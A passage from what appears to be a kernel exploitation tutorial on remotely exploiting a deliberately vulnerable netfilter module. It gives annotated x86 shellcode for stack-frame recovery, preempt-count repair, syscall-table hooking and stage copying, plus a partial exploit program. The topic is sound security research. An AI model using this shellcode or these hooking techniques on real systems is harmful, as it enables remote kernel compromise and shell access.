part modules. < stuff/drivers/linux/remote/dummy_remote.c > #define MAX_TWSKCHUNK 30 #define TWSK_PROTO 37 struct twsk_chunk { int type; char buff[12]; }; struct twsk { int chunk_num; struct twsk_chunk chunk[0]; }; static int process_twsk_chunk(struct sk_buff *buff) { struct twsk_chunk chunks[MAX_TWSKCHUNK]; struct twsk *ts = (struct twsk *)((char*)buff->nh.iph + (buff->nh.iph->ihl * 4)); if(ts->chunk_num > MAX_TWSKCHUNK) [1] return (NF_DROP); printk(KERN_INFO "Processing TWSK packet: packet frame n. %d\n", ts->chunk_num); memcpy(chunks, ts->chunk, sizeof(struct twsk_chunk) * ts->chunk_num); [2] // do somethings.. return (NF_ACCEPT); } < / > We have a signedness issue at [1], which triggers a later buffer overflow at [2], writing past the local 'chunks' buffer. As we just said, we must know everything about the vulnerable function, that is, when it runs, under which 'context' it runs, what calls what, how would the stack look like, if there are spinlocks or other control management objects acquired, etc. A good starting point is dumping a stack trace at calling time of our function : #1 0xc02b5139 in nf_iterate (head=0xc042e4a0, skb=0xc1721ad0, hook=0, [1] indev=0xc1224400, outdev=0x0, i=0xc1721a88, okfn=0xc02bb150 , hook_thresh=-2147483648) at net/netfilter/core.c:89 #2 0xc02b51b9 in nf_hook_slow (pf=2, hook=1, pskb=0xc1721ad0, [2] indev=0xc1224400, outdev=0x0, okfn=0xc02bb150 , hook_thresh=-2147483648) at net/netfilter/core.c:125 #3 0xc02baee3 in ip_rcv (skb=0xc1bc4a40, dev=0xc1224400, pt=0xc0399310, orig_dev=0xc1224400) at net/ipv4/ip_input.c:348 #4 0xc02a5432 in netif_receive_skb (skb=0xc1bc4a40) at net/core/dev.c:1657 #5 0xc024d3c2 in rtl8139_rx (dev=0xc1224400, tp=0xc1224660, budget=64) at drivers/net/8139too.c:2030 #6 0xc024d70e in rtl8139_poll (dev=0xc1224400, budget=0xc1721b78) at drivers/net/8139too.c:2120 #7 0xc02a5633 in net_rx_action (h=0xc0417078) at net/core/dev.c:1739 #8 0xc0118a75 in __do_softirq () at kernel/softirq.c:95 #9 0xc0118aba in do_softirq () at kernel/softirq.c:129 [3] #10 0xc0118b7d in irq_exit () at kernel/softirq.c:169 #11 0xc0104212 in do_IRQ (regs=0xc1721ad0) at arch/i386/kernel/irq.c:110 #12 0xc0102b0a in common_interrupt () at current.h:9 #13 0x0000110b in ?? () Our vulnerable function (just like any other hook) is called serially by the nf_iterate one [1], during the processing of a softirq [3], through the netfilter core interface nf_hook_slow [2]. It is installed in the INPUT chain and, thus, it starts processing packets whenever they are sent to the host box, as we see from [2] where pf = 2 (PF_INET) and hook = 1 (NF_IP_LOCAL_IN). Our final goal is to execute some kind of code that will estabilish a connection back to us (or bind a port to a shell, or whatever kind of shellcoding you like more for your remote exploit). Trying to execute it directly from kernel land is obviously a painful idea so we need to hijack some userland process (remember that we are on top of a softirq, so we have no clue about what's really beneath us; it could equally be a kernel thread or the idle task, for example) as our victim, to inject some code inside and force the kernel to call it later on, when we're out of an asyncronous event. That means that we need an intermediary step between taking the control over the flow at 'softirq time' and execute from the userland process. But let's go on order, first of all we need to _start executing_ at least the entry point of our shellcode. As it is nowadays used in many exploit that have to fight against address space randomization in the absence of infoleaks, we look for a jump to a jmp *%esp or push reg/ret or call reg sequence, to start executing from a known point. To avoid guessing the right return value a nop-alike padding of ret-into-ret addresses can be used. But we still need to find those opcodes in a 'fixed' and known place. The 2.6. branch of kernel introduced a fixed page [*] for the support of the 'sysenter' instruction, the 'vsyscall' one : bfe37000-bfe4d000 rwxp bfe37000 00:00 0 [stack] ffffe000-fffff000 ---p 00000000 00:00 0 [vdso] which is located at a fixed address : 0xffffe000 - 0xfffff000. [*] At time of release this is no more true on latest kernels, since the address of the vsyscall page is randomized starting from the 2.6.18 kernel. The 'vsyscall' page is a godsend for our 'entry point' shellcode, since we can locate inside it the required opcodes [*] to start executing : (gdb) x/i 0xffffe75f 0xffffe75f: jmp *%esp (gdb) x/i 0xffffe420 0xffffe420: ret [*] After testing on a wide range of kernels/compilers the addresses of those opcodes we discovered that sometimes they were not in the expected place or, even, in one case, not present. This could be the only guessing part you could be facing (also due to vsyscall randomization, as we said in the note before), but there are (depending on situations) other possibilities [fixed start of the kernel image, fixed .text of the 'running process' if out of interrupt context, etc]. To better figure out how the layout of the stack should be after the overflow, here there's a small schema : +-------------+ | | | | | JMP -N |-------+ # N is the size of the buffer plus some bytes | | | (ret-to-ret chain + jmp space) | | | | ret-to-jmp |<-+ | # the address of the jmp *%esp inside vsyscall | | | | | ......... | -+ | | | | | | ret-to-ret | -+ | # the address of 'ret' inide vsyscall | | | | | ret-to-ret | -+ | | | | | overwritten | | # ret-to-ret padding starting from there | ret address | | | | | | | | | ^ | | | | | | # shellcode is placed inside the buffer | | | because it's huge, but it could also be | shellcode | | splitted before and after the ret addr. | nop | | | nop |<------+ +-------------+ At that point we control the flow, but we're still inside the softirq, so we need to perform a couple of tasks to cleanly get our connect back shellcode executed : - find a way to cleanly get out from the softirq, since we trashed the stack - locate the resource management objects that have been modified (if the've been) and restore them to a safe state - find a place where we can store our shellcode untill later execution from a 'process context' kernel path. - find a way to force the before mentioned kernel path to execute our shellcode The first step is the most difficult one (and wasn't necessary in the madwifi exploit, since we weren't in interrupt context), because we've overwritten the original return pointer and we have no clue about the kernel text layout and addresses. We're going now to present tecniques and a working shellcode for each one of the above points. [ Note that we have mentioned them in a 'conceptual order of importance', which is different from the real order that we use inside the exploit. More precisely, they are almost in reverse order, since the last step performed by our shellcode is effectively getting out from the softirq. We felt that approach more well-explanatory, just remember that note during the following sub-chapters] ------[ 3.2.2 - Stack Frame Flow Recovery The goal of this tecnique is to unroll the stack, looking for some known pattern and trying to reconstruct a caller stack frame, register status and instruction pointing, just to continue over with the normal flow. We need to restore the stack pointer to a known and consistent state, restore register contents so that the function flow will exit cleanily and restore any lock or other syncronization object that was modified by the functions among the one we overflowed in and the one we want to 'return to'. Our stack layout (as seen from the dump pasted above) would basically be that one : stack layout +---------------------+ bottom of stack | | | do_softirq() | | .......... | /* nf_hook_slow() stack frame */ | .......... | +------------------------+ | | | argN | | | | ... | | ip_rcv | | arg2 | | nf_hook_slow | =========> | arg1 | | ip_rcv_finish | | ret-to-(ip_rcv()) | | nf_iterate | | saved reg1 | | | | saved reg2 | | | | ...... | | .............. | +------------------------+ | .............. | | process_twsk_chunk | | | +---------------------+ top of stack As we said, we need to locate a function in the previous stack frames, not too far from our overflowing one, having some 'good pattern' that would help us in our search. Our best bet, in that situation, is to check parameter passing : #2 0xc02b51b9 in nf_hook_slow (pf=2, hook=1, pskb=0xc1721ad0, indev=0xc1224400, outdev=0x0, ....) The 'nf_hook_slow()' function has a good 'signature' : - two consecutive dwords 0x00000002 and 0x00000002 - two kernel pointers (dword > 0xC0000000) - a following NULL dword We can relay on the fact that this pattern would be a constant, since we're in the INPUT chain, processing incoming packets, and thus always having a NULL 'outdev', pf = 2 and hook = 1. Parameters passing is logically not the only 'signature' possible : depending on situations you could find a common pattern in some local variable (which would be even a better one, because we discovered that some versions of GCC optimize out some parameters, passing them through registers). Scanning backward the stack from the process_twsk_chunk() frame up to the nf_hook_slow() one, we can later set the %esp value to the place where is saved the return address of nf_hook_slow(), and, once recreated the correct conditions, perform a 'ret' that would let us exit cleanily. We said 'once recreated the correct conditions' because the function could expect some values inside registers (that we have to set) and could expect some 'lock' or 'preemption set' different from the one we had at time of overflowing. Our task is thus to emulate/restore all those requirements. To achieve that, we can start checking how gcc restores registers during function epilogue : c02b6b30 : c02b6b30: 55 push %ebp c02b6b31: 57 push %edi c02b6b32: 56 push %esi c02b6b33: 53 push %ebx [...] c02b6bdb: 89 d8 mov %ebx,%eax c02b6bdd: 5a pop %edx ==+ c02b6bde: 5b pop %ebx | c02b6bdf: 5e pop %esi | restore c02b6be0: 5f pop %edi | c02b6be1: 5d pop %ebp =+ c02b6be2: c3 ret This kind of epilogue, which is common for non-short functions let us recover the state of the saved register. Once we have found the 'ret' value on the stack we can start 'rolling back' counting how many 'pop' are there inside the text to correctly restore those register. [*] [*] This is logically not the only possibility, one could set directly the values via movl, but sometimes you can't use 'predefined' values for those register. As a side note, some versions of the gcc compiler don't use the push/pop prologue/epilogue, but translate the code as a sequence of movl (which need a different handling from the shellcode). To correctly do the 'unrolling' (and thus locate the pop sequence), we need the kernel address of 'nf_hook_slow()'. This one is not hard to calculate since we have already found on the stack its return addr (thanks to the signature pointed out before). Once again is the intel calling procedures convention which help us : [...] c02bc8bd: 6a 02 push $0x2 c02bc8bf: e8 6c a2 ff ff call c02b6b30 c02bc8c4: 83 c4 1c add $0x1c,%esp [...] That small snippet of code is taken from ip_rcv(), which is the function calling nf_hook_slow(). We have found on the stack the return address, which is 0xc02bc8c4, so calculating the nf_hook_slow address is just a matter of calculating the 'displacement' used in the relative call (opcode 0xe8, the standard calling convention on kernel gcc-compiled code) and adding it to the return addr value (INTEL relative call convention adds the displacement to the current EIP) : [*] call to nf_hook_slow -> 0xe8 0x6c 0x2a 0xff 0xff [*] nf_hook_slow address -> 0xc02bc8c4 + 0xffffa26c = 0xc02b6b30 To better understand the whole Stack Frame Flow Recovery approach here's the shellcode stub doing it, with short comments : - Here we increment the stack pointer with the 'pop %eax' sequence and test for the known signature [ 0x2 0x1 X X 0x0 ]. loop: "\x58" // pop %eax "\x83\x3c\x24\x02" // cmpl $0x2,(%esp) "\x75\xf9" // jne loop "\x83\x7c\x24\x04\x01" // cmpl $0x1,0x4(%esp) "\x75\xf2" // jne loop "\x83\x7c\x24\x10\x00" // cmpl $0x0,0x10(%esp) "\x75\xeb" // jne loop "\x8d\x64\x24\xfc" // lea 0xfffffffc(%esp),%esp - get the return address, subtract 4 bytes and deference the pointer to get the nf_hook_slow() offset/displacement. Add it to the return address to obtain the nf_hook_slow() address. "\x8b\x04\x24" // mov (%esp),%eax "\x89\xc3" // mov %eax,%ebx "\x03\x43\xfc" // add 0xfffffffc(%ebx),%eax - locate the 0xc3 opcode inside nf_hook_slow(), eliminating 'spurious' 0xc3 bytes. In this shellcode we do a simple check for 'movl' opcodes and that's enough to avoid 'false positive'. With a larger shellcode one could write a small disassembly routine that would let perform a more precise locating of the 'ret' and 'pop' [see later]. increment: "\x40" // inc %eax "\x8a\x18" // mov (%eax),%bl "\x80\xfb\xc3" // cmp $0xc3,%bl "\x75\xf8" // jne increment "\x80\x78\xff\x88" // cmpb $0x88,0xffffffff(%eax) "\x74\xf2" // je increment "\x80\x78\xff\x89" // cmpb $0x89,0xffffffff(%eax) "\x74\xec" // je 8048351 increment - roll back from the located 'ret' up to the last pop instruction, if any and count the number of 'pop's. pop: "\x31\xc9" // xor %ecx,%ecx "\x48" // dec %eax "\x8a\x18" // mov (%eax),%bl "\x80\xe3\xf0" // and $0xf0,%bl "\x80\xfb\x50" // cmp $0x50,%bl "\x75\x03" // jne end "\x41" // inc %ecx "\xeb\xf2" // jmp pop "\x40" // inc %eax - use the calculated byte displacement from ret to rollback %esp value "\x89\xc6" // mov %eax,%esi "\x31\xc0" // xor %eax,%eax "\xb0\x04" // mov $0x4,%al "\xf7\xe1" // mul %ecx "\x29\xc4" // sub %eax,%esp - set the return value "\x31\xc0" // xor %eax,%eax - call the nf_hook_slow() function epilog "\xff\xe6" // jmp *%esi It is now time to pass to the 'second step', that is restore any pending lock or other synchronization object to a consistent state for the nf_hook_slow() function. ---[ 3.2.3 - Resource Restoring At that phase we care of restoring those resources that are necessary for the 'hooked return function' (and its callers) to cleanly get out from the softirq/interrupt state. Let's take another (closer) look at nf_hook_slow() : < linux-2.6.15/net/netfilter/core.c > int nf_hook_slow(int pf, unsigned int hook, struct sk_buff **pskb, struct net_device *indev, struct net_device *outdev, int (*okfn)(struct sk_buff *), int hook_thresh) { struct list_head *elem; unsigned int verdict; int ret = 0; /* We may already have this, but read-locks nest anyway */ rcu_read_lock(); [1] [...] unlock: rcu_read_unlock(); [2] return ret; [3] } < / > At [1] 'rcu_read_lock()' is invoked/acquired, but [2] 'rcu_read_unlock()' is never performed, since at the 'Stack Frame Flow Recovery' step we unrolled the stack and jumped back at [3]. 'rcu_read_unlock()' is just an alias of preempt_enable(), which, in the end, results in a one-decrement of the preempt_count value inside the thread_info struct : < linux-2.6.15/include/linux/rcupdate.h > #define rcu_read_lock() preempt_disable() [...] #define rcu_read_unlock() preempt_enable() < / > < linux-2.6.15/include/linux/preempt.h > # define add_preempt_count(val) do { preempt_count() += (val); } while (0) # define sub_preempt_count(val) do { preempt_count() -= (val); } while (0) [...] #define inc_preempt_count() add_preempt_count(1) #define dec_preempt_count() sub_preempt_count(1) #define preempt_count() (current_thread_info()->preempt_count) #ifdef CONFIG_PREEMPT asmlinkage void preempt_schedule(void); #define preempt_disable() \ do { \ inc_preempt_count(); \ barrier(); \ } while (0) #define preempt_enable_no_resched() \ do { \ barrier(); \ dec_preempt_count(); \ } while (0) #define preempt_check_resched() \ do { \ if (unlikely(test_thread_flag(TIF_NEED_RESCHED))) \ preempt_schedule(); \ } while (0) #define preempt_enable() \ do { \ preempt_enable_no_resched(); \ barrier(); \ preempt_check_resched(); \ } while (0) #else #define preempt_disable() do { } while (0) #define preempt_enable_no_resched() do { } while (0) #define preempt_enable() do { } while (0) #define preempt_check_resched() do { } while (0) #endif < / > As you can see, if CONFIG_PREEMPT is not set, all those operations are just no-ops. 'preempt_disable()' is nestable, so it can be called multiple times (preemption will be disabled untill we call 'preempt_enable()' the same number of times). That means that, given a PREEMPT kernel, we should find a value equal or greater to '1' inside preempt_count at 'exploit time'. We can't just ignore that value or otherwise we'll BUG() later on inside scheduler code (check preempt_schedule_irq() in kernel/sched.c). What we have to do, on a PREEMPT kernel, is thus locate 'preempt_count' and decrement it, just like 'rcu_read_unlock()' would do. For the x86 architecture , 'preempt_count' is stored inside the 'struct thread_info' : < linux-2.6.15/include/asm-i386/thread_info.h > struct thread_info { struct task_struct *task; /* main task structure */ struct exec_domain *exec_domain; /* execution domain */ unsigned long flags; /* low level flags */ unsigned long status; /* thread-synchronous flags */ __u32 cpu; /* current CPU */ int preempt_count; /* 0 => preemptable, <0 => BUG */ mm_segment_t addr_limit; /* thread address space: 0-0xBFFFFFFF for user-thead 0-0xFFFFFFFF for kernel-thread */ [...] < / > Let's see how we get to it : - locate the thread_struct "\x89\xe0" // mov %esp,%eax "\x25\x00\xe0\xff\xff" // and $0xffffe000,%eax - scan the thread_struct to locate the addr_limit value. This value is a good fingerprint, since it is 0xc0000000 for an userland process and 0xffffffff for a kernel thread (or the idle task). [note that this kind of scan can be used to figure out in which kind of process we are, something that could be very important in some scenario] /* scan: */ "\x83\xc0\x04" // add $0x4,%eax "\x8b\x18" // mov (%eax),%ebx "\x83\xfb\xff" // cmp $0xffffffff,%ebx "\x74\x0a" // je 804851e "\x81\xfb\x00\x00\x00\xc0" // cmp $0xc0000000,%ebx "\x74\x02" // je 804851e "\xeb\xec" // jmp 804850a - decrement the 'preempt_count' value [which is just the member above the addr_limit one] /* end: */ "\xff\x48\xfc" // decl 0xfffffffc(%eax) To improve further the shellcode it would be a good idea to perform a test over the preempt_count value, so that we would not end up into lowering it below zero. ---[ 3.2.4 - Copying the Stub We have just finished presenting a generic method to restore the stack after a 'general mess-up' of the netfilter core call-frames. What we have to do now is to find some place to store our shellcode, since we can't (as we said before) directly execute from inside interrupt context. [remember the note, this step and the following one are executed before getting out from the softirq context]. Since we don't know almost anything about the remote kernel image memory mapping we need to find a 'safe place' to store the shellcode, that is, we need to locate some memory region that we can for sure reference and that won't create problems (read : Oops) if overwritten. There are two places where we can copy our 'stage-2' shellcode : - IDT (Interrupt Descriptor Table) : we can easily get the IDT logical address at runtime (as we saw previously in the NULL dereference example) and Linux uses only the 0x80 software interrupt vector : +-----------------+ | exeption | | entries | |-----------------| | hw interrupt | | entries | |-----------------| entry #32 ==+ | | | | soft interrupt | | | entries | | usable gap | | | | | | | | ==+ | int 0x80 | entry #128 | | +-----------------+ <- offset limit Between entry #32 and entry #128 we have all unused descriptor entries, each 8 bytes long. Linux nowadays doesn't map that memory area as read-only [as it should be], so we can write on it [*]. We have thus : (128 - 32) * 8 = 98 * 8 = 784 bytes, which is enough for our 'stage-2 shellcode'. [*] starting with the Linux kernel 2.6.20 it is possible to map some areas as read-only [the idt is just one of those]. Since we don't 'start' writing into the IDT area and executing from there, it is possible to bypass that protection simply modifying directly kernel page tables protection in 'previous stages' of the shellcode. - the current kernel stack : we need to make a little assumption here, that is being inside a process that would last for some time (untill we'll be able to redirect kernel code over our shellcode, as we will see in the next section). Usually the stack doesn't grow up to 4kb, so we have an almost free 4kb page for us (given that the remote system is using an 8kb stack space). To be safe, we can leave some pad space before the shellcode. We need to take care of the 'struct thread_struct' saved at the 'bottom' of the kernel stack (and that logically we don't want to overwrite ;) ) : +-----------------+ | thread_struct | |---------------- | ==+ | | | usable gap | | | |-----------------| ==+ | | | ^ | | | | [ normally the stack doesn't ] | | | [ grow over 4kb ] | | | ring0 stack | +-----------------+ Alltogether we have : (8192 - 4096) - sizeof(descriptor) - pad ~= 2048 bytes, which is even more than before. With a more complex shellcode we can traverse the process table and look forward for a 'safe process' (init, some kernel thread, some main server process). Let's give a look to the shellcode performing that task : - get the stack address where we are [the uber-famous call/pop trick] "\xe8\x00\x00\x00\x00" // call 51 "\x59" // pop %ecx - scan the stack untill we find the 'start marker' of our stage-2 stub. We put a \xaa byte at the start of it, and it's the only one present in the shellcode. The addl $10 is there just to start scanning after the 'cmp $0xaa, %al', which would otherwise give a false positive for \xaa. "\x83\xc1\x10" // addl $10, %ecx "\x41" // inc %ecx "\x8a\x01" // mov (%ecx),%al "\x3c\xaa" // cmp $0xaa,%al "\x75\xf9" // jne 52 - we have found the start of the shellcode, let's copy it in the 'safe place' untill the 'end marker' (\xbb). The 'safe place' here is saved inside the %esi register. We haven't shown how we calculated it because it directly derives from the shellcode used in the next section (it's simply somwhere in the stack space). This code could be optimized by saving the 'stage-2' stub size in %ecx and using rep/repnz in conjuction with mov instructions. "\x41" // inc %ecx "\x8a\x01" // mov (%ecx),%al "\x88\x06" // mov %al,(%esi) "\x46" // inc %esi "\x41" // inc %ecx "\x80\x39\xbb" // cmpb $0xbb,(%ecx) "\x75\xf5" // jne 5a [during the develop phase of the exploit we have changed a couple of times the 'stage-2' part, that's why we left that kind of copy operation, even if it's less elegant :) ] ---[ 3.2.5 - Executing Code in Userspace Context [Gimme Life!] Okay, we have a 'safe place', all we need now is a 'safe moment', that is a process context to execute in. The first 'easy' solution that could come to your mind could be overwriting the #128 software interrupt [int $0x80], so that it points to our code. The first process issuing a system call would thus become our 'victim process-context'. This approach has, thou, two major drawbacks : - we have no way to intercept processes using sysenter to access kernel space (what if all were using it ? It would be a pretty odd way to fail...) - we can't control which process is 'hooked' and that might be 'disastrous' if the process is the init one or a critical one, since we'll borrow its userspace to execute our shellcode (a bindshell or a connect-back is not a short-lasting process). We have to go a little more deeper inside the kernel to achieve a good hooking. Our choice was to use the syscall table and to redirect a system call which has an high degree of possibility to be called and that we're almost sure that isn't used inside init or any critical process. Our choice, after a couple of tests, was to hook the rt_sigaction syscall, but it's not the only one. It just worked pretty well for us. To locate correctly in memory the syscall table we use the stub of code that sd and devik presented in their phrack paper [23] about /dev/kmem patching: - we get the current stack address, calculate the start of the thread_struct and we add 0x1000 (pad gap) [simbolic value far enough from both the end of the thread_struct and the top of stack]. Here is where we set that %esi value that we have presented as 'magically already there' in the shellcode-part discussed before. "\x89\xe6" // mov %esp,%esi "\x81\xe6\x00\xe0\xff\xff" // and $0xffffe000,%esi "\x81\xc6\x00\x10\x00\x00" // add $0x1000,%esi - sd & devik sligthly re-adapted code. "\x0f\x01\x0e" // sidtl (%esi) "\x8b\x7e\x02" // mov 0x2(%esi),%edi "\x81\xc7\x00\x04\x00\x00" // add $0x400,%edi "\x66\x8b\x5f\x06" // mov 0x6(%edi),%bx "\xc1\xe3\x10" // shl $0x10,%ebx "\x66\x8b\x1f" // mov (%edi),%bx "\x43" // inc %ebx "\x8a\x03" // mov (%ebx),%al "\x3c\xff" // cmp $0xff,%al "\x75\xf9" // jne 28 "\x8a\x43\x01" // mov 0x1(%ebx),%al "\x3c\x14" // cmp $0x14,%al "\x75\xf2" // jne 28 "\x8a\x43\x02" // mov 0x2(%ebx),%al "\x3c\x85" // cmp $0x85,%al "\x75\xeb" // jne 28 "\x8b\x5b\x03" // mov 0x3(%ebx),%ebx - logically we need to save the original address of the syscall somewhere, and we decided to put it just before the 'stage-2' shellcode : "\x81\xc3\xb8\x02\x00\x00" // add 0x2b8, %ebx "\x89\x5e\xf8" // movl %ebx, 0xfffffff8(%esi) "\x8b\x13" // mov (%ebx),%edx "\x89\x56\xfc" // mov %edx,0xfffffffc(%esi) "\x89\x33" // mov %esi,(%ebx) As you see, we save the address of the rt_sigaction entry [offset 0x2b8] inside syscall table (we will need it at restore time, so that we won't have to calculate it again) and the original address of the function itself (the above counterpart in the restoring phase). We make point the rt_sigaction entry to our shellcode : %esi. Now it should be even clearer why, in the previous section, we had ''magically'' the destination address to copy our stub into in %esi. The first process issuing a rt_sigaction call will just give life to the stage-2 shellcode, which is the final step before getting the connect-back or the bindshell executed. [or whatever shellcode you like more ;) ] We're still in kerneland, while our final goal is to execute an userland shellcode, so we still have to perform a bounch of operations. There are basically two methods (not the only two, but probably the easier and most effective ones) to achieve our goal : - find saved EIP, temporary disable WP control register flag, copy the userland shellcode overthere and re-enable WP flag [it could be potentially dangerous on SMP]. If the syscall is called through sysenter, the saved EIP points into vsyscall table, so we must 'scan' the stack 'untill ret' (not much different from what we do in the stack frame recovery step, just easier here), to get the real userspace saved EIP after vsyscall 'return' : 0xffffe410 <__kernel_vsyscall+16>: pop %ebp 0xffffe411 <__kernel_vsyscall+17>: pop %edx 0xffffe412 <__kernel_vsyscall+18>: pop %ecx 0xffffe413 <__kernel_vsyscall+19>: ret As you can see, the first executed userspace address (writable) is at saved *(ESP + 12). - find saved ESP or use syscall saved parameters pointing to an userspace buffer, copy the shellcode in that memory location and overwrite the saved EIP with saved ESP (or userland buffer address) The second method is preferable (easier and safer), but if we're dealing with an architecture supporting the NX-bit or with a software patch that emulates the execute bit (to mark the stack and eventually the heap as non-executable), we have to fallback to the first, more intrusive, method, or our userland process will just segfault while attempting to execute the shellcode. Since we do have full control of the process-related kernel data we can also copy the shellcode in a given place and modify page protection. [not different from the idea proposed above for IDT read-only in the 'Copy the Stub' section] Once again, let's go on with the dirty details : - the usual call/pop trick to get the address we're executing from "\xe8\x00\x00\x00\x00" // call 8 "\x59" // pop %ecx - patch back the syscall table with the original rt_sigaction address [if those 0xff8 and 0xffc have no meaning for you, just remember that we added 0x1000 to the thread_struct stack address to calculate our 'safe place' and that we stored just before both the syscall table entry address of rt_sigaction and the function address itself] "\x81\xe1\x00\xe0\xff\xff" // and $0xffffe000,%ecx "\x8b\x99\xf8\x0f\x00\x00" // mov 0xff8(%ecx),%ebx "\x8b\x81\xfc\x0f\x00\x00" // mov 0xffc(%ecx),%eax "\x89\x03" // mov %eax,(%ebx) - locate Userland ESP and overwrite Userland EIP with it [method 2] "\x8b\x74\x24\x38" // mov 0x38(%esp),%esi "\x89\x74\x24\x2c" // mov %esi,0x2c(%esp) "\x31\xc0" // xor %eax,%eax - once again we use a marker (\x22) to locate the shellcode we want to copy on process stack. Let's call it 'stage-3' shellcode. We use just another simple trick here to locate the marker and avoid a false positive : instead of jumping after (as we did for the \xaa one) we set the '(marker value) - 1' in %al and then increment it. The copy is exactly the same (with the same 'note') we saw before "\xb0\x21" // mov $0x21,%al "\x40" // inc %eax "\x41" // inc %ecx "\x38\x01" // cmp %al,(%ecx) "\x75\xfb" // jne 2a "\x41" // inc %ecx "\x8a\x19" // mov (%ecx),%bl "\x88\x1e" // mov %bl,(%esi) "\x41" // inc %ecx "\x46" // inc %esi "\x38\x01" // cmp %al,(%ecx) "\x75\xf6" // jne 30 - return from the syscall and let the process cleanly exit to userspace. Control will be transfered to our modified EIP and shellcode will be executed "\xc3" // ret We have used a 'fixed' value to locate userland ESP/EIP, which worked well for the 'standard' kernels/apps we tested it on (getting to the syscall via int $0x80). With a little more effort (worth the time) you can avoid those offset assumptions by implementing a code similar to the one for the Stack Frame Recovery tecnique. Just take a look to how current userland EIP,ESP,CS and SS are saved before jumping at kernel level : ring0 stack: +--------+ | SS | | ESP | <--- saved ESP | EFLAG | | CS | | EIP | <--- saved EIP |...... | +--------+ All 'unpatched' kernels will have the same value for SS and CS and we can use it as a fingerprint to locate ESP and EIP (that we can test to be below PAGE_OFFSET [*]) [*] As we already said, on latest kernels there could be a different uspace/kspace split address than 0xc0000000 [2G/2G or 1G/3G configurations] We won't show here the 'stage-3' shellcode since it is a standard 'userland' bindshell one. Just use the one you need depending on the environment. ---[ 3.2.6 - The Code : sendtwsk.c < stuff/expl/sendtwsk.c > #include #include #include #include #include #include #include /* from vuln module */ #define MAX_TWSKCHUNK 30 /* end */ #define NOP 0x90 #define OVERFLOW_NEED 20 #define JMP "\xe9\x07\xfe\xff\xff" #define SIZE_JMP (sizeof(JMP) -1) #define TWSK_PACKET_LEN (((MAX_TWSKCHUNK * sizeof(struct twsk_chunk)) + OVERFLOW_NEED) + SIZE_JMP \ + sizeof(struct twsk) + sizeof(struct iphdr)) #define TWSK_PROTO 37 #define DEFAULT_VSYSCALL_RET 0xffffe413 #define DEFAULT_VSYSCALL_JMP 0xc01403c0 /* * find the correct value.. alpha:/usr/src/linux/debug/article/remote/figaro/ip_figaro# ./roll val: 2147483680, 80000020 result: 512 val: 2147483681, 80000021 result: 528 */ #define NEGATIVE_CHUNK_NUM 0x80000020 char shellcode[]= /* hook sys_rtsigaction() and copy the 2level shellcode (72) */ "\x90\x90" // nop; nop; [alignment] "\x89\xe6" // mov %esp,%esi "\x81\xe6\x00\xe0\xff\xff" // and $0xffffe000,%esi "\x81\xc6\x00\x10\x00\x00" // add $0x1000,%esi "\x0f\x01\x0e" // sidtl (%esi) "\x8b\x7e\x02" // mov 0x2(%esi),%edi "\x81\xc7\x00\x04\x00\x00" // add $0x400,%edi "\x66\x8b\x5f\x06" // mov 0x6(%edi),%bx "\xc1\xe3\x10" // shl $0x10,%ebx "\x66\x8b\x1f" // mov (%edi),%bx "\x43" // inc %ebx "\x8a\x03" // mov (%ebx),%al "\x3c\xff" // cmp $0xff,%al "\x75\xf9" // jne 28 "\x8a\x43\x01" // mov 0x1(%ebx),%al "\x3c\x14" // cmp $0x14,%al "\x75\xf2" // jne 28 "\x8a\x43\x02" // mov 0x2(%ebx),%al "\x3c\x85" // cmp $0x85,%al "\x75\xeb" // jne 28 "\x8b\x5b\x03" // mov 0x3(%ebx),%ebx [get sys_call_table] "\x81\xc3\xb8\x02\x00\x00" // add 0x2b8, %ebx [get sys_rt_sigaction offset] "\x89\x5e\xf8" // movl %ebx, 0xfffffff8(%esi) [save sys_rt_sigaction] "\x8b\x13" // mov (%ebx),%edx "\x89\x56\xfc" // mov %edx,0xfffffffc(%esi) "\x89\x33" // mov %esi,(%ebx) [make sys_rt_sigaction point to our shellcode] "\xe8\x00\x00\x00\x00" // call 51 "\x59" // pop %ecx "\x83\xc1\x10" // addl $10, %ecx "\x41" // inc %ecx "\x8a\x01" // mov (%ecx),%al "\x3c\xaa" // cmp $0xaa,%al "\x75\xf9" // jne 52 "\x41" // inc %ecx "\x8a\x01" // mov (%ecx),%al "\x88\x06" // mov %al,(%esi) "\x46" // inc %esi "\x41" // inc %ecx "\x80\x39\xbb" // cmpb $0xbb,(%ecx) "\x75\xf5" // jne 5a /* find and decrement preempt counter (32) */ "\x89\xe0" // mov %esp,%eax "\x25\x00\xe0\xff\xff" // and $0xffffe000,%eax "\x83\xc0\x04" // add $0x4,%eax "\x8b\x18" // mov (%eax),%ebx "\x83\xfb\xff" // cmp $0xffffffff,%ebx "\x74\x0a" // je 804851e "\x81\xfb\x00\x00\x00\xc0" // cmp $0xc0000000,%ebx "\x74\x02" // je 804851e "\xeb\xec" // jmp 804850a "\xff\x48\xfc" // decl 0xfffffffc(%eax) /* stack frame recovery step */ "\x58" // pop %eax "\x83\x3c\x24\x02" // cmpl $0x2,(%esp) "\x75\xf9" // jne 8048330 "\x83\x7c\x24\x04\x01" // cmpl $0x1,0x4(%esp) "\x75\xf2" // jne 8048330 "\x83\x7c\x24\x10\x00" // cmpl $0x0,0x10(%esp) "\x75\xeb" // jne 8048330 "\x8d\x64\x24\xfc" // lea 0xfffffffc(%esp),%esp "\x8b\x04\x24" // mov (%esp),%eax "\x89\xc3" // mov %eax,%ebx "\x03\x43\xfc" // add 0xfffffffc(%ebx),%eax "\x40" // inc %eax "\x8a\x18" // mov (%eax),%bl "\x80\xfb\xc3" // cmp $0xc3,%bl "\x75\xf8" // jne 8048351 "\x80\x78\xff\x88" // cmpb $0x88,0xffffffff(%eax) "\x74\xf2" // je 8048351 "\x80\x78\xff\x89" // cmpb $0x89,0xffffffff(%eax) "\x74\xec" // je 8048351 "\x31\xc9" // xor %ecx,%ecx "\x48" // dec %eax "\x8a\x18" // mov (%eax),%bl "\x80\xe3\xf0" // and $0xf0,%bl "\x80\xfb\x50" // cmp $0x50,%bl "\x75\x03" // jne 8048375 "\x41" // inc %ecx "\xeb\xf2" // jmp 8048367 "\x40" // inc %eax "\x89\xc6" // mov %eax,%esi "\x31\xc0" // xor %eax,%eax "\xb0\x04" // mov $0x4,%al "\xf7\xe1" // mul %ecx "\x29\xc4" // sub %eax,%esp "\x31\xc0" // xor %eax,%eax "\xff\xe6" // jmp *%esi /* end of stack frame recovery */ /* stage-2 shellcode */ "\xaa" // border stage-2 start "\xe8\x00\x00\x00\x00" // call 8 "\x59" // pop %ecx "\x81\xe1\x00\xe0\xff\xff" // and $0xffffe000,%ecx 